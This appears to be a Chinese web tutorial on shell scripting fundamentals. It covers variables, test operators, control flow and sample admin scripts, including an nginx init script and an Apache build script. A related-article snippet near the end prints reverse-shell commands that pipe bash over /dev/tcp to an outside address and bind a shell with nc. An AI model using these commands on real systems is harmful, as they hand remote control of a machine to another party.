入门shell脚本基础及原理

目录
  • 1.特殊变量
  • 2.内部环境变量
  • 3.整数以及字符判断
    • 3.1整数判断
    • 3.2字符测试
  • 4.文件判断
  • 5.read输入
  • 6.if判断
  • 7.案例选择判断
  • 8.for循环
  • 9.while循环
  • 10.深入练习
    • 1.写一个脚本,输入三个数字进行相应的加减乘除
    • 2.猜数字游戏
    • 3.写一个脚本,让nginx服务设置开机自启
    • 4.利用for循环,创建user序号1-100的用户
    • 5.利用while循环,计算1+2…100的值
    • 6.apache简单的一个编译部署脚本

1.特殊变量

$#:查看变量参数的个数
$0:查看脚本的名字
$!:查看shell后台的pid
$@:查看传递脚本所有参数的列表
$*:查看所有参数的列表,单字符串形式显示
$$:脚本本身进程的ID
$?:上一条命令的结果,显示0则成功,不是0则失败

2.内部环境变量

$PATH
SHELL           当前使用的shell
UID 			当前的用户环境 {0|其它数字}={root|其它用户}
HOME            当前使用的用户目录
PWD        		当前的目录
HISTFILE       	历史命令路径
PS1					#[\u@\h \W]\$    用户@主机名\目录\$

3.整数以及字符判断

3.1整数判断

-eq       测试俩个整数是否相等      (equal)
-ne       测试俩个整数是否不等		(unequal)
-gt       测试一个数是否大于一个数 (greater than)
-lt		  测试一个数是否小于一个数 (less than)
-ge	      测试一个数大于或等于
-le       测试一个数小于或等于

3.2字符测试

=~   测试是否被正则表达式匹配
-z "string" 检测字符是否为空,空则真,不空则假    如: [ -z "" ]为真空则为真
-n "string" 检测字符是否不空,不空则真,不空则假
字符相比较大小用[[  ]],比的是第一个字母(a-zA-Z)都是大写或者都是小写比较ascii值 越大则越大
有大写又有小写则A>a B>b   但是A不大于b的情况
[root@slave02 ~]# [[ "A" < "B" ]]
[root@slave02 ~]# echo $?
0
[root@slave02 ~]# [[ "a" < "b" ]]
[root@slave02 ~]# echo $?
0

4.文件判断

-e:文件是否存在
-b:测试是否块设备文件
-c:测试是否字符设备文件
-f:测试是否普通文件
-d:测试是否目录
-h:测试是否符号链接文件
-L:测试是否是符号链接文件
-p:测试是否是命名管道文件
-S:测试是否是套接字文件
权限相关:
-r 读
-w 写
-x 执行
特殊权限
-g
-u
-k
等

5.read输入

选项:
-p:指定提示符
-t:指定提示等待的时间(秒)

6.if判断

多分支:
if [ 条件 ];then
	statement1
​	.....
elif  [ 条件2 ];then
​	statement2
​	....
else
​	statement3
​	....
fi

7.案例选择判断

case $变量名 in
	'value1')
		 statement
		 ...
 ;;
	'value2')
 		statement
 		...
 ;;
*)
 		statement
 		..
 ;;
esac

#case支持的通配符:
    *           //任意长度任意字符
    ?           //任意单个字符
    []          //指字范围内的任意单个字符
   start|START  //俩种选择

8.for循环

第一种:
for  ((expr1;expr2;expr3))      # expr1:初始值条件
								#expr2:循环的范围进行退出
								#expr3:变量的值使用
{
​	循环体
}
for ((expr1;expr2;expr3));do
​	循环体
done
第二种:
for  变量  in 列表; do
​	循环体
done

9.while循环

while循环用于不知道循环次数的场景,注意有退出条件
while [ 条件 ];do
	statement
	.....
done

10.深入练习

1.写一个脚本,输入三个数字进行相应的加减乘除

[root@slave02 ~]# cat script01.sh
#!/bin/bash
a=$1
b=$2
c=$3
num1=$[$a+$b+$c]
num2=$[$a-$b-$c]
num3=$[$a*$b*$c]
echo "$a + $b + $c" = $num1
echo "$a - $b - $c" = $num2
echo "$a * $b * $c" = $num3
awk "BEGIN{printf \"$a/$b/$c=%.2f\n\",$a/$b/$c}"
[root@slave02 ~]# source script01.sh 100 10 9
100 + 10 + 9 = 119
100 - 10 - 9 = 81
100 * 10 * 9 = 9000
100/10/9=1.11

2.猜数字游戏

规则:指定一个数字,只要猜到了这个数字则过关,否则显示数字大了或者数字小了

[root@master ~]# cat test03.sh
#!/bin/bash
nums=99
read -p "please enter a number: " num
if [ $num -gt $nums ];then
        echo "数字大了"
elif [ $num -lt $nums ];then
        echo "数字小了"
else
        echo "猜对"
fi
[root@master ~]# . test03.sh
please enter a number: 10
数字小了
[root@master ~]# . test03.sh
please enter a number: 100
数字大了
[root@master ~]# . test03.sh
please enter a number: 99
猜对

3.写一个脚本,让nginx服务设置开机自启

#$0是nginx本身 $1是变量对应着下面的start|stop|restart|status
[root@192 init.d]# pwd
/etc/init.d
[root@192 init.d]# cat nginx
#!/bin/bash
case $1 in
        'start')
          /usr/local/nginx/sbin/nginx
          ;;
        'stop')
          /usr/local/nginx/sbin/nginx -s stop
          ;;
        'restart')
        /usr/local/nginx/sbin/nginx -s stop
        /usr/local/nginx/sbin/nginx
          ;;
        'status')
          num=$(ps -ef |grep -v 'grep'|grep -c nginx:)
          if [ $num -eq 0 ];then
                 echo "nginx is stoped"
          else
                 echo "nginx is running"
          fi
          ;;
        *)
              echo "Usage: service $0 start|stop|restart|status"
          ;;
esac
		#当判断有nginx进程数量则认为开启服务,否则认为服务开启失败

4.利用for循环,创建user序号1-100的用户

#创建用户user1-100
[root@master ~]# cat test05.sh
#!/bin/bash
for (( i=1;i<=100;i++));do
        useradd user$i
        id user$i &>/dev/null
        if [ $? -eq 0 ];then  #只要判断用户成功,$?才会显示0,显示0则代表执行下一条命令,否则显示user以及存在
                echo "success"
        else
        		echo "user is exis"
        fi
done

5.利用while循环,计算1+2…100的值

[root@slave02 ~]# cat which.sh
#!/bin/bash
s=0                 #初始值0
i=1					#判断的数值,最终到100停止
while [ $i -le 100 ];do
s=$[$s+$i]
i=$[$i+1]            #自增加数
done
echo $s
[root@slave02 ~]# source which.sh
5050
						#随便输入一个数字进行计算的话,把100改为$1即可

6.apache简单的一个编译部署脚本

1.一般项目或者脚本,文件,放在相应的位置里,方便查找
[root@slave02 tmp]# pwd
/tmp
[root@slave02 tmp]# ls
apache
[root@slave02 apache]# ls
install_apache.sh  soft
[root@slave02 soft]# ls
apr-1.7.0.tar.bz2   apr-util-1.6.1.tar.bz2    httpd-2.4.48.tar.bz2  httpd.service
[root@slave02 apache]# cat install_apache.sh #!/bin/bash echo "欢迎使用此脚本" apachedir=/usr/local/apache if [ $UID -ne 0 ];then
        echo "伙计,请使用管理员身份运行"
fi
echo "正在安装依赖包..."
yum -y install epel-release  bzip2 "@Development Tools"  &>/dev/null
yum -y install openssl-devel pcre-devel expat-devel libtool gcc gcc-c++ make  &>/dev/null
id apache &>/dev/null
if [ $? -ne 0 ];then
        useradd -r -M -s /sbin/nologin apache
fi
cd /tmp/apache/soft/
tar -xf apr-1.7.0.tar.bz2
tar -xf apr-util-1.6.1.tar.bz2
tar -xf  httpd-2.4.48.tar.bz2
sed -i '/ $RM "$cfgfile"/d' apr-1.7.0/configure
echo "正在编译安装apr,请听听歌放松放松......."
cd apr-1.7.0/
[ ! -d /usr/local/apr ]
if [ $? -eq 0 ];then
        ./configure --prefix=/usr/local/apr && make && make install &>/dev/null
else
        echo "apr已经安装"
fi
cd ../apr-util-1.6.1/
[ ! -d /usr/local/apr-util ]
if [ $? -eq 0 ];then
        ./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr && make && make install &/dev/null
else
        echo "apr-util已经安装"
fi
cd ../httpd-2.4.48/
[ ! -d /usr/local/apache/ ]
if [ $? -eq 0 ];then
./configure --prefix=$apachedir \
        --sysconfdir=/etc/httpd24 \
        --enable-so \
        --enable-ssl \
        --enable-cgi \
        --enable-rewrite \
        --with-zlib \
        --with-pcre \
        --with-apr=/usr/local/apr \
        --with-apr-util=/usr/local/apr-util/ \
        --enable-modules=most \
        --enable-mpms-shared=all \
        --with-mpm=prefork
        make && make install &>/dev/null
else
        echo "httpd已经安装"
fi
cd
#有影响的加判断,没影响的忽略
echo "export PATH=$apachedir/bin:\$PATH"   > /etc/profile.d/httpd.sh
ln -s $apachedir/include/ /usr/include/apache &>/dev/null
grep 'apache/man' /etc/man_db.conf   &>/dev/null

if [ $? -eq 1 ];then
        sed -i "20aMANDATORY_MANPATH   $apachedir/man" /etc/man_db.conf
else
        echo "apache is help exists"
fi

[ ! -f /usr/lib/systemd/system/httpd.service ]
if  [ $? -eq 0 ];then
        cp /clq/apache/soft/httpd.service /usr/lib/systemd/system/
else
        echo "已经存在文件跳过"
fi
systemctl daemon-reload
systemctl enable --now httpd
num02=$(ps -ef |grep -v 'grep'|grep -c httpd)
if [ $num02 -eq 0 ];then
        echo "httpd自启失败"
else
        echo "httpd自启成功"
fi
echo "欢迎下次使用"
[root@slave02 apache]# chmod +x install_apache.sh
[root@slave02 apache]# source install_apache.sh
[root@slave02 apache]# source install_apache.sh
欢迎使用此脚本
正在安装依赖包...
正在编译安装apr,请听听歌放松放松.......
apr以及安装
apr-util以及安装
httpd已经安装
apache is help exists
已经存在文件跳过
httpd自启成功
欢迎下次使用
[root@slave02 ~]# systemctl status httpd.service
● httpd.service - Start http
   Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; vendor preset: disabled)
   Active: active (running) since Sat 2021-09-04 17:45:33 CST; 5h 57min ago
 Main PID: 834761 (httpd)
    Tasks: 7 (limit: 5782)
   Memory: 6.3M
   CGroup: /system.slice/httpd.service
           ├─834761 /usr/local/apache/bin/httpd -k start
           ├─835358 /usr/local/apache/bin/httpd -k start
           ├─835359 /usr/local/apache/bin/httpd -k start
           ├─835360 /usr/local/apache/bin/httpd -k start
           ├─835361 /usr/local/apache/bin/httpd -k start
           ├─835362 /usr/local/apache/bin/httpd -k start
           └─836063 /usr/local/apache/bin/httpd -k start
[root@slave02 ~]# ss -antl
State         Recv-Q        Send-Q               Local Address:Port               Peer Address:Port        Process
LISTEN        0             128                        0.0.0.0:22                      0.0.0.0:*
LISTEN        0             128                              *:80                            *:*
LISTEN        0             128                           [::]:22                         [::]:*

以上就是入门shell脚本基础解析的详细内容,更多关于shell脚本的资料请关注我们其它相关文章!

(0)

相关推荐

  • shell脚本语言的使用(超全超详细)

    1.shell的概述 shell 是一种脚本语言 脚本:本质是一个文件,文件里面存放的是 特定格式的指令,系统可以使用脚本解析器 翻译或解析 指令 并执行(它不需要编译) shell 既是应用程序 又是一种脚本语言(应用程序 解析 脚本语言) shell命令解析器: 系统提供 shell命令解析器: sh ash bash 查看自己linux系统的默认解析:echo $SHELL shell脚本是一种脚本语言,我们只需使用任意文本编辑器,按照语法编写相应程序,增加可执行权限,即可在安装shell

  • Linux shell传递参数实现原理及代码实例

    Shell 传递参数 我们可以在执行 Shell 脚本时,向脚本传递参数,脚本内获取参数的格式为:$n.n 代表一个数字,1 为执行脚本的第一个参数,2 为执行脚本的第二个参数,以此类推-- 以下实例我们向脚本传递两个参数,并分别输出,其中 $0 为执行的文件名: 特殊字符参数 $# 传递到脚本的参数个数 $* 以单个字符串形式显示所有传递到脚本的参数,如"1 2 3" $$ 脚本运行的当前进程ID号 $! 后台运行的最后一个进程的ID号 $@ 以多个字符串形式显示所有传递到脚本的参数

  • Linux Shell脚本系列教程(二):终端打印命令详解

    终端打印 终端是交互式工具,用户可以通过它与shell环境进行交互.在终端中打印文本是大多数shell脚本和工具日常需要执行的基本任务.通过终端打印,人们可以知道系统的运行状态,这对用户来说是至关重要的. echo终端打印 复制代码 代码如下: echo "Welcome to Bash" echo 'Welcome to Bash' echo  Welcome to Bash 以上三种方法的效果是一样的,输出内容都是"Welcome to Bash",并在末尾添加

  • linux反弹shell的原理详解

    完整命令 反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一个交互式的bash &是为了区分

  • 自己常用的一些shell脚本分享

    自己写了一下小的shell实例,虽然很小,但所有的大的程序都是由小的模块堆积起来的,程序员一定要懂得一种脚本的书写,而我,只会在linux下工作,所以就只能写linux的shell脚本了,呵呵,本文会陆续更新,给自己加油! 1.模拟linnux登录shell 复制代码 代码如下: #/bin/bash echo -n "login:" read name echo -n "password:" read passwd if [ $name = "cht&q

  • shell脚本4种执行方式

    Linux中shell脚本的执行通常有4种方式,分别为工作目录执行,绝对路径执行,sh执行,shell环境执行. 首先,看下我们的脚本内容 [tan@tan scripts]$ ll total 4 -rw-rw-r--. 1 tan tan 68 May 8 23:18 test.sh [tan@tan scripts]$ cat test.sh #!/usr/bin/bash /usr/bin/python <<-EOF print "Hello Shell" EOF

  • 入门shell脚本基础及原理

    目录 1.特殊变量 2.内部环境变量 3.整数以及字符判断 3.1整数判断 3.2字符测试 4.文件判断 5.read输入 6.if判断 7.案例选择判断 8.for循环 9.while循环 10.深入练习 1.写一个脚本,输入三个数字进行相应的加减乘除 2.猜数字游戏 3.写一个脚本,让nginx服务设置开机自启 4.利用for循环,创建user序号1-100的用户 5.利用while循环,计算1+2-100的值 6.apache简单的一个编译部署脚本 1.特殊变量 $#:查看变量参数的个数

  • Linux shell脚本基础学习详细介绍(完整版)第1/2页

    Linux shell脚本基础学习这里我们先来第一讲,介绍shell的语法基础,开头.注释.变量和 环境变量,向大家做一个基础的介绍,虽然不涉及具体东西,但是打好基础是以后学习轻松地前提. 1. Linux 脚本编写基础 ◆1.1 语法基本介绍1.1.1 开头程序必须以下面的行开始(必须方在文件的第一行):#!/bin/sh符号#!用来告诉系统它后面的参数是用来执行该文件的程序.在这个例子中我们使用/bin/sh来执行程序.当编辑好脚本时,如果要执行该脚本,还必须使其可执行.要使脚本可执行:编译

  • 快速入门Shell脚本之条件判断语句与循环

    相信大家已经对shell脚本有一定的了解了,大家对于shell脚本的条件判断语句一定非常期待.本篇博客,我们来聊一聊关于shell的条件判断语句与循环. 1.条件判断 1.1基本语法 [condition] 注意: condition前后要有空格 条件非空既为true,[atguigu]发回true,[]返回false 1.2.常用的判断条件 (1)两个整数之间比较 = 字符串比较 -lt 小于(less than) -le 小于等于(less equal) -eq 等于(equal) -gt

  • 什么是Shell?Shell脚本基础知识详细介绍

    Shell本身是一个用C语言编写的程序,它是用户使用Linux的桥梁.Shell既是一种命令语言,又是一种程序设计语言.作为命令语言,它交互式地解释和执行用户输入的命令:作为程序设计语言,它定义了各种变量和参数,并提供了许多在高级语言中才具有的控制结构,包括循环和分支. 它虽然不是Linux系统核心的一部分,但它调用了系统核心的大部分功能来执行程序.建立文件并以并行的方式协调各个程序的运行.因此,对于用户来说,shell是最重要的实用程序,深入了解和熟练掌握shell的特性极其使用方法,是用好L

  • linux shell脚本基础知识学习

    Shell脚本: 1.#!  指定脚本执行的shell2.# 注释 3.命令或语法结构echo "输入内容"echo 输出空行 执行: 1.shell 脚本   sh example2.给shell脚本执行权限   chmod u+x example 案例:example  sysinfo.sh 3abc  x  不能以数字开头abc3ABC3 环境变量-大写 命令执行结果赋值变量使用 命令替换符 ``PATH=$PATH:/root/shell.example ls -l /etc/

  • Shell脚本的超详细讲解(推荐!)

    目录 一.Shell脚本基础概念 1.1 什么是shell? 1.2 什么是shell脚本 1.3 shell脚本的意义 二.创建一个简单的Shell脚本 2.1 创建一个shell脚本文件 2.2 运行一个Shell脚本 2.2.1 脚本文件无执行权限 2.2.2 脚本文件有执行权限 三.基本语法 3.1 变量 3.1.1 变量类型 3.1.2 变量操作 3.1.3 字符串变量 3.1.4 数组 3.1.5 变量传参 3.2 运算符 3.2.1 算数运算符 3.2.2 关系运算符 3.2.3

  • Linux shell脚本全面学习入门

    1. Linux 脚本编写基础 1.1 语法基本介绍 1.1.1 开头 程序必须以下面的行开始(必须方在文件的第一行): #!/bin/sh 符号#!用来告诉系统它后面的参数是用来执行该文件的程序.在这个例子中我们使用/bin/sh来执行程序. 当编辑好脚本时,如果要执行该脚本,还必须使其可执行. 要使脚本可执行: 编译 chmod +x filename 这样才能用./filename 来运行 1.1.2 注释 在进行shell编程时,以#开头的句子表示注释,直到这一行的结束.我们真诚地建议您

  • 一篇教会你写90%的shell脚本(入门小结)

    shell脚本? 在说什么是shell脚本之前,先说说什么是shell. shell是外壳的意思,就是操作系统的外壳.我们可以通过shell命令来操作和控制操作系统,比如Linux中的Shell命令就包括ls.cd.pwd等等.总结来说,Shell是一个命令解释器,它通过接受用户输入的Shell命令来启动.暂停.停止程序的运行或对计算机进行控制. shell 是一个应用程序,它连接了用户和 Linux 内核,让用户能够更加高效.安全.低成本地使用 Linux 内核,这就是 Shell 的本质.

  • 学习shell脚本之前的基础知识[图文]

    日常的linux系统管理工作中必不可少的就是shell脚本,如果不会写shell脚本,那么你就不算一个合格的管理员.目前很多单位在招聘linux系统管理员时,shell脚本的编写是必考的项目.有的单位甚至用shell脚本的编写能力来衡量这个linux系统管理员的经验是否丰富.笔者讲这些的目的只有一个,那就是让你认真对待shell脚本,从一开始就要把基础知识掌握牢固,然后要不断的练习,只要你shell脚本写的好,相信你的linux求职路就会轻松的多.笔者在这一章中并不会多么详细的介绍shell脚本

  • Linux Shell 脚本编程入门教程

    从程序员的角度来看, Shell本身是一种用C语言编写的程序,从用户的角度来看,Shell是用户与Linux操作系统沟通的桥梁.用户既可以输入命令执行,又可以利用 Shell脚本编程,完成更加复杂的操作.在Linux GUI日益完善的今天,在系统管理等领域,Shell编程仍然起着不可忽视的作用.深入地了解和熟练地掌握Shell编程,是每一个Linux用户的必修 功课之一. Linux的Shell种类众多,常见的有:Bourne Shell(/usr/bin/sh或/bin/sh).Bourne

随机推荐